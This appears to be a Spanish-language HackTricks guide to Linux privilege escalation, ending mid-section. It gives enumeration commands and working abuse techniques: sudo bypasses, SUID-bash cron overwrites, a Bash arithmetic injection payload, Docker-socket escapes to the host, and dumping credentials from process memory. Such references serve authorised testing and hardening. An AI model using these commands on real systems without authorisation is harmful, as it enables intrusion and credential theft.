Linux Privilege Escalation
Reading time: 63 minutes
tip
Aprende y practica Hacking en AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Hacking en Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Apoya a HackTricks
- Revisa los planes de suscripción!
- Únete al 💬 grupo de Discord o al grupo de telegram o síguenos en Twitter 🐦 @hacktricks_live.
- Comparte trucos de hacking enviando PRs a los HackTricks y HackTricks Cloud repositorios de github.
Información del sistema
Información del SO
Comencemos a obtener información sobre el sistema operativo en ejecución
(cat /proc/version || uname -a ) 2>/dev/null
lsb_release -a 2>/dev/null # old, not by default on many systems
cat /etc/os-release 2>/dev/null # universal on modern systems
Ruta
Si tienes permisos de escritura en cualquier carpeta dentro de la variable PATH
podrías secuestrar algunas librerías o binarios:
echo $PATH
Env info
¿Información interesante, contraseñas o claves API en las variables de entorno?
(env || set) 2>/dev/null
Kernel exploits
Comprueba la versión del kernel y si existe algún exploit que pueda usarse para escalar privilegios
cat /proc/version
uname -a
searchsploit "Linux Kernel"
Puedes encontrar una buena lista de kernels vulnerables y algunos compiled exploits aquí: https://github.com/lucyoa/kernel-exploits y exploitdb sploits.
Otros sitios donde puedes encontrar algunos compiled exploits: https://github.com/bwbwbwbw/linux-exploit-binaries, https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack
Para extraer todas las versiones de kernel vulnerables de esa web puedes hacer:
curl https://raw.githubusercontent.com/lucyoa/kernel-exploits/master/README.md 2>/dev/null | grep "Kernels: " | cut -d ":" -f 2 | cut -d "<" -f 1 | tr -d "," | tr ' ' '\n' | grep -v "^\d\.\d$" | sort -u -r | tr '\n' ' '
Herramientas que podrían ayudar a buscar exploits del kernel son:
linux-exploit-suggester.sh
linux-exploit-suggester2.pl
linuxprivchecker.py (execute IN victim,only checks exploits for kernel 2.x)
Siempre busca la versión del kernel en Google, quizá tu versión del kernel esté escrita en algún exploit del kernel y así estarás seguro de que ese exploit es válido.
CVE-2016-5195 (DirtyCow)
Linux Privilege Escalation - Linux Kernel <= 3.19.0-73.8
# make dirtycow stable
echo 0 > /proc/sys/vm/dirty_writeback_centisecs
g++ -Wall -pedantic -O2 -std=c++11 -pthread -o dcow 40847.cpp -lutil
https://github.com/dirtycow/dirtycow.github.io/wiki/PoCs
https://github.com/evait-security/ClickNRoot/blob/master/1/exploit.c
Sudo versión
Basado en las versiones vulnerables de sudo que aparecen en:
searchsploit sudo
Puedes comprobar si la versión de sudo es vulnerable usando este grep.
sudo -V | grep "Sudo ver" | grep "1\.[01234567]\.[0-9]\+\|1\.8\.1[0-9]\*\|1\.8\.2[01234567]"
sudo < v1.28
De @sickrov
sudo -u#-1 /bin/bash
Dmesg signature verification failed
Revisa la smasher2 box of HTB para un ejemplo de cómo podría explotarse esta vuln
dmesg 2>/dev/null | grep "signature"
Más enumeración del sistema
date 2>/dev/null #Date
(df -h || lsblk) #System stats
lscpu #CPU info
lpstat -a 2>/dev/null #Printers info
Enumerar posibles defensas
AppArmor
if [ `which aa-status 2>/dev/null` ]; then
aa-status
elif [ `which apparmor_status 2>/dev/null` ]; then
apparmor_status
elif [ `ls -d /etc/apparmor* 2>/dev/null` ]; then
ls -d /etc/apparmor*
else
echo "Not found AppArmor"
fi
Grsecurity
((uname -r | grep "\-grsec" >/dev/null 2>&1 || grep "grsecurity" /etc/sysctl.conf >/dev/null 2>&1) && echo "Yes" || echo "Not found grsecurity")
PaX
(which paxctl-ng paxctl >/dev/null 2>&1 && echo "Yes" || echo "Not found PaX")
Execshield
(grep "exec-shield" /etc/sysctl.conf || echo "Not found Execshield")
SElinux
(sestatus 2>/dev/null || echo "Not found sestatus")
ASLR
cat /proc/sys/kernel/randomize_va_space 2>/dev/null
#If 0, not enabled
Docker Breakout
Si estás dentro de un contenedor docker puedes intentar escapar de él:
Unidades
Comprueba qué está montado y desmontado, dónde y por qué. Si algo está desmontado, puedes intentar montarlo y buscar información privada.
ls /dev 2>/dev/null | grep -i "sd"
cat /etc/fstab 2>/dev/null | grep -v "^#" | grep -Pv "\W*\#" 2>/dev/null
#Check if credentials in fstab
grep -E "(user|username|login|pass|password|pw|credentials)[=:]" /etc/fstab /etc/mtab 2>/dev/null
Software útil
Enumera binarios útiles
which nmap aws nc ncat netcat nc.traditional wget curl ping gcc g++ make gdb base64 socat python python2 python3 python2.7 python2.6 python3.6 python3.7 perl php ruby xterm doas sudo fetch docker lxc ctr runc rkt kubectl 2>/dev/null
Además, comprueba si hay algún compilador instalado. Esto es útil si necesitas usar algún kernel exploit, ya que se recomienda compilarlo en la máquina donde lo vayas a usar (o en otra similar)
(dpkg --list 2>/dev/null | grep "compiler" | grep -v "decompiler\|lib" 2>/dev/null || yum list installed 'gcc*' 2>/dev/null | grep gcc 2>/dev/null; which gcc g++ 2>/dev/null || locate -r "/gcc[0-9\.-]\+$" 2>/dev/null | grep -v "/doc/")
Software vulnerable instalado
Comprueba la versión de los paquetes y servicios instalados. Quizás exista alguna versión antigua de Nagios (por ejemplo) que podría explotarse para escalating privileges…
Se recomienda comprobar manualmente la versión del software instalado más sospechoso.
dpkg -l #Debian
rpm -qa #Centos
Si tienes acceso SSH a la máquina también podrías usar openVAS para comprobar software desactualizado y vulnerable instalado en la máquina.
[!NOTE] > Ten en cuenta que estos comandos mostrarán mucha información que en su mayoría será inútil, por lo que se recomiendan aplicaciones como OpenVAS u otras similares que comprueben si alguna versión de software instalada es vulnerable a exploits conocidos
Procesos
Echa un vistazo a qué procesos se están ejecutando y comprueba si algún proceso tiene más privilegios de los que debería (¿quizás un tomcat ejecutándose como root?)
ps aux
ps -ef
top -n 1
Revisa siempre si hay posibles electron/cef/chromium debuggers running, you could abuse it to escalate privileges. Linpeas detecta esos comprobando el parámetro --inspect
dentro de la línea de comandos del proceso.
También comprueba tus privilegios sobre los binarios de los procesos, quizá puedas sobrescribir alguno.
Process monitoring
Puedes usar herramientas como pspy para monitorizar procesos. Esto puede ser muy útil para identificar procesos vulnerables que se ejecutan con frecuencia o cuando se cumplen un conjunto de requisitos.
Process memory
Algunos servicios de un servidor guardan credentials in clear text inside the memory.
Normalmente necesitarás privilegios de root para leer la memoria de procesos que pertenecen a otros usuarios, por lo tanto esto suele ser más útil cuando ya eres root y quieres descubrir más credentials.
Sin embargo, recuerda que como usuario regular puedes leer la memoria de los procesos que posees.
warning
Ten en cuenta que hoy en día la mayoría de las máquinas no permiten ptrace por defecto, lo que significa que no puedes volcar otros procesos que pertenezcan a tu usuario no privilegiado.
El archivo /proc/sys/kernel/yama/ptrace_scope controla la accesibilidad de ptrace:
- kernel.yama.ptrace_scope = 0: all processes can be debugged, as long as they have the same uid. This is the classical way of how ptracing worked.
- kernel.yama.ptrace_scope = 1: only a parent process can be debugged.
- kernel.yama.ptrace_scope = 2: Only admin can use ptrace, as it required CAP_SYS_PTRACE capability.
- kernel.yama.ptrace_scope = 3: No processes may be traced with ptrace. Once set, a reboot is needed to enable ptracing again.
GDB
If you have access to the memory of an FTP service (for example) you could get the Heap and search inside of its credentials.
gdb -p <FTP_PROCESS_PID>
(gdb) info proc mappings
(gdb) q
(gdb) dump memory /tmp/mem_ftp <START_HEAD> <END_HEAD>
(gdb) q
strings /tmp/mem_ftp #User and password
Script de GDB
#!/bin/bash
#./dump-memory.sh <PID>
grep rw-p /proc/$1/maps \
| sed -n 's/^\([0-9a-f]*\)-\([0-9a-f]*\) .*$/\1 \2/p' \
| while read start stop; do \
gdb --batch --pid $1 -ex \
"dump memory $1-$start-$stop.dump 0x$start 0x$stop"; \
done
/proc/$pid/maps & /proc/$pid/mem
Para un ID de proceso dado, maps muestran cómo se mapea la memoria dentro del espacio de direcciones virtuales de ese proceso; también muestran los permisos de cada región mapeada. El archivo pseudo mem expone la propia memoria del proceso. A partir del archivo maps sabemos qué regiones de memoria son legibles y sus offsets. Usamos esta información para seek en el archivo mem y dump todas las regiones legibles a un archivo.
procdump()
(
cat /proc/$1/maps | grep -Fv ".so" | grep " 0 " | awk '{print $1}' | ( IFS="-"
while read a b; do
dd if=/proc/$1/mem bs=$( getconf PAGESIZE ) iflag=skip_bytes,count_bytes \
skip=$(( 0x$a )) count=$(( 0x$b - 0x$a )) of="$1_mem_$a.bin"
done )
cat $1*.bin > $1.dump
rm $1*.bin
)
/dev/mem
/dev/mem
proporciona acceso a la memoria física del sistema, no a la memoria virtual. El espacio de direcciones virtuales del kernel puede ser accedido usando /dev/kmem.\
Típicamente, /dev/mem
solo es legible por root y el grupo kmem.
strings /dev/mem -n10 | grep -i PASS
ProcDump para linux
ProcDump es una reinterpretación para Linux de la clásica herramienta ProcDump de la suite Sysinternals para Windows. Consíguelo en https://github.com/Sysinternals/ProcDump-for-Linux
procdump -p 1714
ProcDump v1.2 - Sysinternals process dump utility
Copyright (C) 2020 Microsoft Corporation. All rights reserved. Licensed under the MIT license.
Mark Russinovich, Mario Hewardt, John Salem, Javid Habibi
Monitors a process and writes a dump file when the process meets the
specified criteria.
Process: sleep (1714)
CPU Threshold: n/a
Commit Threshold: n/a
Thread Threshold: n/a
File descriptor Threshold: n/a
Signal: n/a
Polling interval (ms): 1000
Threshold (s): 10
Number of Dumps: 1
Output directory for core dumps: .
Press Ctrl-C to end monitoring without terminating the process.
[20:20:58 - WARN]: Procdump not running with elevated credentials. If your uid does not match the uid of the target process procdump will not be able to capture memory dumps
[20:20:58 - INFO]: Timed:
[20:21:00 - INFO]: Core dump 0 generated: ./sleep_time_2021-11-03_20:20:58.1714
Tools
To dump a process memory you could use:
- https://github.com/Sysinternals/ProcDump-for-Linux
- https://github.com/hajzer/bash-memory-dump (root) - _Puedes eliminar manualmente los requisitos de root y volcar el proceso que pertenece a tu usuario
- Script A.5 from https://www.delaat.net/rp/2016-2017/p97/report.pdf (se requiere root)
Credenciales en la memoria del proceso
Ejemplo manual
Si encuentras que el proceso authenticator está en ejecución:
ps -ef | grep "authenticator"
root 2027 2025 0 11:46 ? 00:00:00 authenticator
Puedes dump the process (ver las secciones anteriores para encontrar diferentes maneras de dump the memory of a process) y buscar credentials dentro de la memory:
./dump-memory.sh 2027
strings *.dump | grep -i password
mimipenguin
La herramienta https://github.com/huntergregal/mimipenguin robará credenciales en texto claro de la memoria y de algunos archivos bien conocidos. Requiere privilegios de root para funcionar correctamente.
Funcionalidad | Nombre de proceso |
---|---|
Contraseña de GDM (Kali Desktop, Debian Desktop) | gdm-password |
Gnome Keyring (Ubuntu Desktop, ArchLinux Desktop) | gnome-keyring-daemon |
LightDM (Ubuntu Desktop) | lightdm |
VSFTPd (Conexiones FTP activas) | vsftpd |
Apache2 (Sesiones HTTP Basic Auth activas) | apache2 |
OpenSSH (Sesiones SSH activas - Uso de sudo) | sshd: |
Expresiones regulares de búsqueda/truffleproc
# un truffleproc.sh against your current Bash shell (e.g. $$)
./truffleproc.sh $$
# coredumping pid 6174
Reading symbols from od...
Reading symbols from /usr/lib/systemd/systemd...
Reading symbols from /lib/systemd/libsystemd-shared-247.so...
Reading symbols from /lib/x86_64-linux-gnu/librt.so.1...
[...]
# extracting strings to /tmp/tmp.o6HV0Pl3fe
# finding secrets
# results in /tmp/tmp.o6HV0Pl3fe/results.txt
Scheduled/Cron jobs
Comprueba si alguna tarea programada es vulnerable. Quizás puedas aprovechar un script ejecutado por root (wildcard vuln? ¿puedes modificar archivos que root usa? ¿usar symlinks? ¿crear archivos específicos en el directorio que root utiliza?).
crontab -l
ls -al /etc/cron* /etc/at*
cat /etc/cron* /etc/at* /etc/anacrontab /var/spool/cron/crontabs/root 2>/dev/null | grep -v "^#"
Ruta de cron
Por ejemplo, dentro de /etc/crontab puedes encontrar el PATH: PATH=/home/user:/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin
(Fíjate cómo el usuario "user" tiene privilegios de escritura sobre /home/user)
Si dentro de este crontab el usuario root intenta ejecutar algún comando o script sin establecer el PATH. Por ejemplo: * * * * root overwrite.sh
Entonces, puedes obtener un shell root usando:
echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > /home/user/overwrite.sh
#Wait cron job to be executed
/tmp/bash -p #The effective uid and gid to be set to the real uid and gid
Cron que ejecuta un script con un wildcard (Wildcard Injection)
Si un script ejecutado por root tiene un “*” dentro de un comando, podrías explotarlo para causar efectos inesperados (como privesc). Ejemplo:
rsync -a *.sh rsync://host.back/src/rbd #You can create a file called "-e sh myscript.sh" so the script will execute our script
Si el wildcard está precedido de una ruta como /some/path/* , no es vulnerable (incluso ./* no lo es).
Lee la siguiente página para más trucos de explotación de wildcards:
Bash arithmetic expansion injection in cron log parsers
Bash realiza parameter expansion y command substitution antes de la evaluación aritmética en ((...)), $((...)) y let. Si un cron/parser ejecutado como root lee campos de log no confiables y los pasa a un contexto aritmético, un atacante puede inyectar una command substitution $(...) que se ejecuta como root cuando corre el cron.
-
Por qué funciona: En Bash, las expansiones ocurren en este orden: expansión de parámetros/variables, sustitución de comandos, expansión aritmética, luego separación de palabras y expansión de nombres de ruta. Así que un valor como
$(/bin/bash -c 'id > /tmp/pwn')0
se sustituye primero (ejecutando el comando), luego el0
numérico restante se usa para la aritmética, por lo que el script continúa sin errores. -
Patrón típico vulnerable:
#!/bin/bash
# Example: parse a log and "sum" a count field coming from the log
while IFS=',' read -r ts user count rest; do
# count is untrusted if the log is attacker-controlled
(( total += count )) # or: let "n=$count"
done < /var/www/app/log/application.log
- Explotación: Haz que texto controlado por el atacante se escriba en el log parseado de modo que el campo que parece numérico contenga una sustitución de comandos y termine con un dígito. Asegúrate de que tu comando no imprima en stdout (o redirígelo) para que la aritmética siga válida.
# Injected field value inside the log (e.g., via a crafted HTTP request that the app logs verbatim):
$(/bin/bash -c 'cp /bin/bash /tmp/sh; chmod +s /tmp/sh')0
# When the root cron parser evaluates (( total += count )), your command runs as root.
Sobrescritura de scripts de cron y symlink
Si puedes modificar un script de cron ejecutado por root, puedes conseguir una shell muy fácilmente:
echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > </PATH/CRON/SCRIPT>
#Wait until it is executed
/tmp/bash -p
Si el script ejecutado por root usa un directorio al que tienes acceso total, podría ser útil eliminar esa carpeta y crear una carpeta symlink que apunte a otra que ejecute un script controlado por ti.
ln -d -s </PATH/TO/POINT> </PATH/CREATE/FOLDER>
Cron jobs frecuentes
Puedes monitorizar los procesos para buscar procesos que se están ejecutando cada 1, 2 o 5 minutos. Quizá puedas aprovecharlo para escalar privilegios.
Por ejemplo, para monitorizar cada 0.1s durante 1 minuto, ordenar por los comandos menos ejecutados y eliminar los comandos que se han ejecutado más, puedes hacer:
for i in $(seq 1 610); do ps -e --format cmd >> /tmp/monprocs.tmp; sleep 0.1; done; sort /tmp/monprocs.tmp | uniq -c | grep -v "\[" | sed '/^.\{200\}./d' | sort | grep -E -v "\s*[6-9][0-9][0-9]|\s*[0-9][0-9][0-9][0-9]"; rm /tmp/monprocs.tmp;
También puedes usar pspy (esto monitorizará y listará cada proceso que se inicie).
Cron jobs invisibles
Es posible crear un cronjob poniendo un retorno de carro después de un comentario (sin el carácter de nueva línea), y el cron job funcionará. Ejemplo (fíjate en el carácter de retorno de carro):
#This is a comment inside a cron config file\r* * * * * echo "Surprise!"
Servicios
Archivos .service con permiso de escritura
Comprueba si puedes escribir algún archivo .service
, si puedes, podrías modificarlo para que ejecute tu backdoor cuando el servicio sea iniciado, reiniciado o detenido (quizá necesites esperar hasta que la máquina sea reiniciada).
Por ejemplo crea tu backdoor dentro del archivo .service con ExecStart=/tmp/script.sh
Binarios de servicio con permiso de escritura
Ten en cuenta que si tienes permisos de escritura sobre binarios que son ejecutados por servicios, puedes cambiarlos por backdoors de modo que cuando los servicios se vuelvan a ejecutar los backdoors también se ejecuten.
systemd PATH - Rutas relativas
Puedes ver el PATH usado por systemd con:
systemctl show-environment
Si descubres que puedes escribir en cualquiera de las carpetas de la ruta, podrías ser capaz de escalar privilegios. Debes buscar rutas relativas que se usen en archivos de configuración de servicios como:
ExecStart=faraday-server
ExecStart=/bin/sh -ec 'ifup --allow=hotplug %I; ifquery --state %I'
ExecStop=/bin/sh "uptux-vuln-bin3 -stuff -hello"
Después, crea un ejecutable con el mismo nombre que el binario de la ruta relativa dentro de la carpeta del PATH de systemd que puedas escribir, y cuando al servicio se le solicite ejecutar la acción vulnerable (Start, Stop, Reload), tu backdoor será ejecutado (los usuarios sin privilegios normalmente no pueden iniciar/parar servicios, pero comprueba si puedes usar sudo -l
).
Obtén más información sobre servicios con man systemd.service
.
Temporizadores
Temporizadores son archivos de unidad de systemd cuyo nombre termina en **.timer**
que controlan **.service**
files or events. Temporizadores pueden utilizarse como alternativa a cron ya que tienen soporte integrado para eventos basados en calendario y eventos de tiempo monotónico y pueden ejecutarse de forma asíncrona.
Puedes enumerar todos los temporizadores con:
systemctl list-timers --all
Temporizadores modificables
Si puedes modificar un temporizador puedes hacer que ejecute unidades existentes de systemd.unit (como .service
o .target
)
Unit=backdoor.service
En la documentación puedes leer qué es la Unit:
La unidad que se activa cuando expira este timer. El argumento es un nombre de unidad, cuyo sufijo no es ".timer". Si no se especifica, este valor por defecto es un service que tiene el mismo nombre que la unidad timer, excepto por el sufijo. (Véase más arriba.) Se recomienda que el nombre de la unidad que se activa y el nombre de la unidad timer sean idénticos, excepto por el sufijo.
Por lo tanto, para abusar de este permiso necesitarías:
- Encontrar alguna unidad de systemd (como una
.service
) que esté ejecutando un binario escribible - Encontrar alguna unidad de systemd que esté ejecutando una ruta relativa y sobre la systemd PATH tengas privilegios de escritura (para suplantar ese ejecutable)
Más información sobre timers con man systemd.timer
.
Habilitar Timer
Para habilitar un timer necesitas privilegios de root y ejecutar:
sudo systemctl enable backu2.timer
Created symlink /etc/systemd/system/multi-user.target.wants/backu2.timer → /lib/systemd/system/backu2.timer.
Nota que el timer se activa creando un symlink hacia él en /etc/systemd/system/<WantedBy_section>.wants/<name>.timer
Sockets
Unix Domain Sockets (UDS) permiten la comunicación entre procesos en la misma u otras máquinas dentro de modelos cliente-servidor. Utilizan archivos de descriptor Unix estándar para la comunicación entre procesos y se configuran mediante archivos .socket
.
Sockets pueden configurarse usando archivos .socket
.
Learn more about sockets with man systemd.socket
. Dentro de este archivo se pueden configurar varios parámetros interesantes:
ListenStream
,ListenDatagram
,ListenSequentialPacket
,ListenFIFO
,ListenSpecial
,ListenNetlink
,ListenMessageQueue
,ListenUSBFunction
: Estas opciones son diferentes pero en resumen se usan para indicar dónde va a escuchar el socket (la ruta del archivo de socket AF_UNIX, el número de IPv4/6 y/o puerto a escuchar, etc.)Accept
: Toma un argumento booleano. Si es true, se lanza una instancia del servicio por cada conexión entrante y solo se le pasa el socket de la conexión. Si es false, todos los sockets de escucha se pasan a la unidad de servicio iniciada, y solo se ejecuta una unidad de servicio para todas las conexiones. Este valor se ignora para datagram sockets y FIFOs donde una única unidad de servicio maneja incondicionalmente todo el tráfico entrante. Defaults to false. Por razones de rendimiento, se recomienda escribir nuevos daemons solo de una manera adecuada paraAccept=no
.ExecStartPre
,ExecStartPost
: Aceptan una o más líneas de comando, que se ejecutan antes o después de que los sockets/FIFOs de escucha sean creados y enlazados, respectivamente. El primer token de la línea de comando debe ser un nombre de archivo absoluto, seguido de argumentos para el proceso.ExecStopPre
,ExecStopPost
: Comandos adicionales que se ejecutan antes o después de que los sockets/FIFOs de escucha sean cerrados y eliminados, respectivamente.Service
: Especifica el nombre de la unidad de service a activar con tráfico entrante. Esta configuración solo está permitida para sockets con Accept=no. Por defecto apunta al service que tiene el mismo nombre que el socket (con el sufijo reemplazado). En la mayoría de los casos, no debería ser necesario usar esta opción.
Writable .socket files
Si encuentras un archivo .socket
escribible puedes añadir al inicio de la sección [Socket]
algo como: ExecStartPre=/home/kali/sys/backdoor
y el backdoor se ejecutará antes de que el socket sea creado. Por lo tanto, probablemente necesites esperar hasta que la máquina sea reiniciada.
Nota que el sistema debe estar usando esa configuración de archivo socket o el backdoor no se ejecutará
Writable sockets
Si identificas algún socket escribible (ahora hablamos de Unix Sockets y no de los archivos de configuración .socket
), entonces puedes comunicarte con ese socket y quizá explotar una vulnerabilidad.
Enumerate Unix Sockets
netstat -a -p --unix
Conexión raw
#apt-get install netcat-openbsd
nc -U /tmp/socket #Connect to UNIX-domain stream socket
nc -uU /tmp/socket #Connect to UNIX-domain datagram socket
#apt-get install socat
socat - UNIX-CLIENT:/dev/socket #connect to UNIX-domain socket, irrespective of its type
Ejemplo de explotación:
HTTP sockets
Ten en cuenta que puede haber algunos sockets listening for HTTP requests (no me refiero a .socket files sino a los archivos que actúan como unix sockets). Puedes comprobarlo con:
curl --max-time 2 --unix-socket /pat/to/socket/files http:/index
Si el socket responde a una petición HTTP, entonces puedes comunicarte con él y quizá explotar alguna vulnerabilidad.
Socket de Docker con permisos de escritura
El socket de Docker, a menudo encontrado en /var/run/docker.sock
, es un archivo crítico que debe estar asegurado. Por defecto, es escribible por el usuario root
y los miembros del grupo docker
. Poseer acceso de escritura a este socket puede llevar a una escalada de privilegios. Aquí tienes un desglose de cómo puede hacerse esto y métodos alternativos si el Docker CLI no está disponible.
Escalada de privilegios con Docker CLI
Si tienes acceso de escritura al socket de Docker, puedes escalar privilegios usando los siguientes comandos:
docker -H unix:///var/run/docker.sock run -v /:/host -it ubuntu chroot /host /bin/bash
docker -H unix:///var/run/docker.sock run -it --privileged --pid=host debian nsenter -t 1 -m -u -n -i sh
Estos comandos te permiten ejecutar un contenedor con acceso root al sistema de archivos del host.
Uso directo del Docker API
En casos en que el Docker CLI no esté disponible, el Docker socket todavía puede manipularse usando el Docker API y comandos curl
.
- List Docker Images: Recupera la lista de imágenes disponibles.
curl -XGET --unix-socket /var/run/docker.sock http://localhost/images/json
- Create a Container: Envía una solicitud para crear un contenedor que monte el directorio raíz del sistema host.
curl -XPOST -H "Content-Type: application/json" --unix-socket /var/run/docker.sock -d '{"Image":"<ImageID>","Cmd":["/bin/sh"],"DetachKeys":"Ctrl-p,Ctrl-q","OpenStdin":true,"Mounts":[{"Type":"bind","Source":"/","Target":"/host_root"}]}' http://localhost/containers/create
Start the newly created container:
curl -XPOST --unix-socket /var/run/docker.sock http://localhost/containers/<NewContainerID>/start
- Attach to the Container: Usa
socat
para establecer una conexión al contenedor, habilitando la ejecución de comandos dentro de él.
socat - UNIX-CONNECT:/var/run/docker.sock
POST /containers/<NewContainerID>/attach?stream=1&stdin=1&stdout=1&stderr=1 HTTP/1.1
Host:
Connection: Upgrade
Upgrade: tcp
Después de establecer la conexión socat
, puedes ejecutar comandos directamente en el contenedor con acceso root al sistema de archivos del host.
Otros
Ten en cuenta que si tienes permisos de escritura sobre el docker socket porque estás dentro del grupo docker
tienes más formas de escalar privilegios. Si el docker API está escuchando en un puerto también podrías comprometerlo.
Consulta más maneras de escapar de docker o abusarlo para escalar privilegios en:
Containerd (ctr) escalada de privilegios
Si descubres que puedes usar el comando ctr
, lee la siguiente página ya que podrías abusar de él para escalar privilegios:
Containerd (ctr) Privilege Escalation
RunC escalada de privilegios
Si descubres que puedes usar el comando runc
, lee la siguiente página ya que podrías abusar de él para escalar privilegios:
D-Bus
D-Bus es un sofisticado sistema de Comunicación entre Procesos (IPC) que permite a las aplicaciones interactuar y compartir datos de forma eficiente. Diseñado pensando en el sistema Linux moderno, ofrece un marco robusto para diferentes formas de comunicación entre aplicaciones.
El sistema es versátil, soportando IPC básico que mejora el intercambio de datos entre procesos, similar a sockets de dominio UNIX mejorados. Además, ayuda a la difusión de eventos o señales, fomentando una integración fluida entre componentes del sistema. Por ejemplo, una señal de un daemon de Bluetooth sobre una llamada entrante puede provocar que un reproductor de música se silencie, mejorando la experiencia del usuario. Adicionalmente, D-Bus soporta un sistema de objetos remotos, simplificando peticiones de servicio e invocaciones de métodos entre aplicaciones, racionalizando procesos que tradicionalmente eran complejos.
D-Bus opera con un modelo permitir/denegar, gestionando los permisos de mensajes (llamadas a métodos, emisión de señales, etc.) basado en el efecto acumulado de reglas de políticas que coinciden. Estas políticas especifican interacciones con el bus, potencialmente permitiendo una escalada de privilegios mediante la explotación de dichos permisos.
Se muestra un ejemplo de tal política en /etc/dbus-1/system.d/wpa_supplicant.conf
, detallando permisos para el usuario root para poseer, enviar a y recibir mensajes de fi.w1.wpa_supplicant1
.
Las políticas sin un usuario o grupo especificado se aplican universalmente, mientras que las políticas en el contexto "default" se aplican a todos los no cubiertos por otras políticas específicas.
<policy user="root">
<allow own="fi.w1.wpa_supplicant1"/>
<allow send_destination="fi.w1.wpa_supplicant1"/>
<allow send_interface="fi.w1.wpa_supplicant1"/>
<allow receive_sender="fi.w1.wpa_supplicant1" receive_type="signal"/>
</policy>
Aprende cómo enumerar y explotar una comunicación D-Bus aquí:
D-Bus Enumeration & Command Injection Privilege Escalation
Red
Siempre es interesante enumerar la red y determinar la posición de la máquina.
Enumeración genérica
#Hostname, hosts and DNS
cat /etc/hostname /etc/hosts /etc/resolv.conf
dnsdomainname
#Content of /etc/inetd.conf & /etc/xinetd.conf
cat /etc/inetd.conf /etc/xinetd.conf
#Interfaces
cat /etc/networks
(ifconfig || ip a)
#Neighbours
(arp -e || arp -a)
(route || ip n)
#Iptables rules
(timeout 1 iptables -L 2>/dev/null; cat /etc/iptables/* | grep -v "^#" | grep -Pv "\W*\#" 2>/dev/null)
#Files used by network services
lsof -i
Puertos abiertos
Siempre comprueba los servicios de red que se estén ejecutando en la máquina y con los que no pudiste interactuar antes de acceder a ella:
(netstat -punta || ss --ntpu)
(netstat -punta || ss --ntpu) | grep "127.0"
Sniffing
Comprueba si puedes sniff traffic. Si puedes, podrías ser capaz de obtener algunas credentials.
timeout 1 tcpdump
Usuarios
Enumeración genérica
Comprueba quién eres, qué privilegios tienes, qué usuarios hay en los sistemas, cuáles pueden login y cuáles tienen root privileges:
#Info about me
id || (whoami && groups) 2>/dev/null
#List all users
cat /etc/passwd | cut -d: -f1
#List users with console
cat /etc/passwd | grep "sh$"
#List superusers
awk -F: '($3 == "0") {print}' /etc/passwd
#Currently logged users
w
#Login history
last | tail
#Last log of each user
lastlog
#List all users and their groups
for i in $(cut -d":" -f1 /etc/passwd 2>/dev/null);do id $i;done 2>/dev/null | sort
#Current user PGP keys
gpg --list-keys 2>/dev/null
Big UID
Algunas versiones de Linux se vieron afectadas por una vulnerabilidad que permite a usuarios con UID > INT_MAX elevar privilegios. Más info: here, here y here.
Exploit it using: systemd-run -t /bin/bash
Grupos
Comprueba si eres miembro de algún grupo que podría concederte privilegios de root:
Interesting Groups - Linux Privesc
Portapapeles
Comprueba si hay algo interesante en el portapapeles (si es posible)
if [ `which xclip 2>/dev/null` ]; then
echo "Clipboard: "`xclip -o -selection clipboard 2>/dev/null`
echo "Highlighted text: "`xclip -o 2>/dev/null`
elif [ `which xsel 2>/dev/null` ]; then
echo "Clipboard: "`xsel -ob 2>/dev/null`
echo "Highlighted text: "`xsel -o 2>/dev/null`
else echo "Not found xsel and xclip"
fi
Política de contraseñas
grep "^PASS_MAX_DAYS\|^PASS_MIN_DAYS\|^PASS_WARN_AGE\|^ENCRYPT_METHOD" /etc/login.defs
Contraseñas conocidas
Si conoces alguna contraseña del entorno intenta iniciar sesión como cada usuario usando la contraseña.
Su Brute
Si no te importa generar mucho ruido y los binarios su
y timeout
están presentes en el equipo, puedes intentar brute-forcear usuarios usando su-bruteforce.
Linpeas con el parámetro -a
también intenta brute-forcear usuarios.
Abusos de PATH escribible
$PATH
Si descubres que puedes escribir dentro de alguna carpeta del $PATH podrías escalar privilegios creando una backdoor dentro de la carpeta escribible con el nombre de algún comando que vaya a ser ejecutado por un usuario distinto (idealmente root) y que no se cargue desde una carpeta situada antes de tu carpeta escribible en el $PATH.
SUDO and SUID
Podrías tener permitido ejecutar algún comando usando sudo o podría tener el suid bit. Compruébalo usando:
sudo -l #Check commands you can execute with sudo
find / -perm -4000 2>/dev/null #Find all SUID binaries
Algunos comandos inesperados permiten leer y/o escribir archivos o incluso ejecutar un comando. Por ejemplo:
sudo awk 'BEGIN {system("/bin/sh")}'
sudo find /etc -exec sh -i \;
sudo tcpdump -n -i lo -G1 -w /dev/null -z ./runme.sh
sudo tar c a.tar -I ./runme.sh a
ftp>!/bin/sh
less>! <shell_comand>
NOPASSWD
La configuración de sudo puede permitir que un usuario ejecute un comando con los privilegios de otro usuario sin conocer la contraseña.
$ sudo -l
User demo may run the following commands on crashlab:
(root) NOPASSWD: /usr/bin/vim
En este ejemplo el usuario demo
puede ejecutar vim
como root
; ahora es trivial obtener un shell añadiendo una ssh key en el directorio root
o ejecutando sh
.
sudo vim -c '!sh'
SETENV
Esta directiva permite al usuario establecer una variable de entorno al ejecutar algo:
$ sudo -l
User waldo may run the following commands on admirer:
(ALL) SETENV: /opt/scripts/admin_tasks.sh
Este ejemplo, basado en la máquina HTB Admirer, era vulnerable a PYTHONPATH hijacking para cargar una biblioteca python arbitraria mientras se ejecutaba el script como root:
sudo PYTHONPATH=/dev/shm/ /opt/scripts/admin_tasks.sh
BASH_ENV preservado mediante sudo env_keep → root shell
Si sudoers preserva BASH_ENV
(p. ej., Defaults env_keep+="ENV BASH_ENV"
), puedes aprovechar el comportamiento de inicio no interactivo de Bash para ejecutar código arbitrario como root al invocar un comando permitido.
-
Why it works: Para shells no interactivos, Bash evalúa
$BASH_ENV
y carga ese archivo con source antes de ejecutar el script objetivo. Muchas reglas de sudo permiten ejecutar un script o un wrapper de shell. SiBASH_ENV
es preservado por sudo, tu archivo se cargará con privilegios de root. -
Requisitos:
-
Una regla de sudo que puedas ejecutar (cualquier target que invoque
/bin/bash
de manera no interactiva, o cualquier bash script). -
BASH_ENV
presente enenv_keep
(verificar consudo -l
). -
PoC:
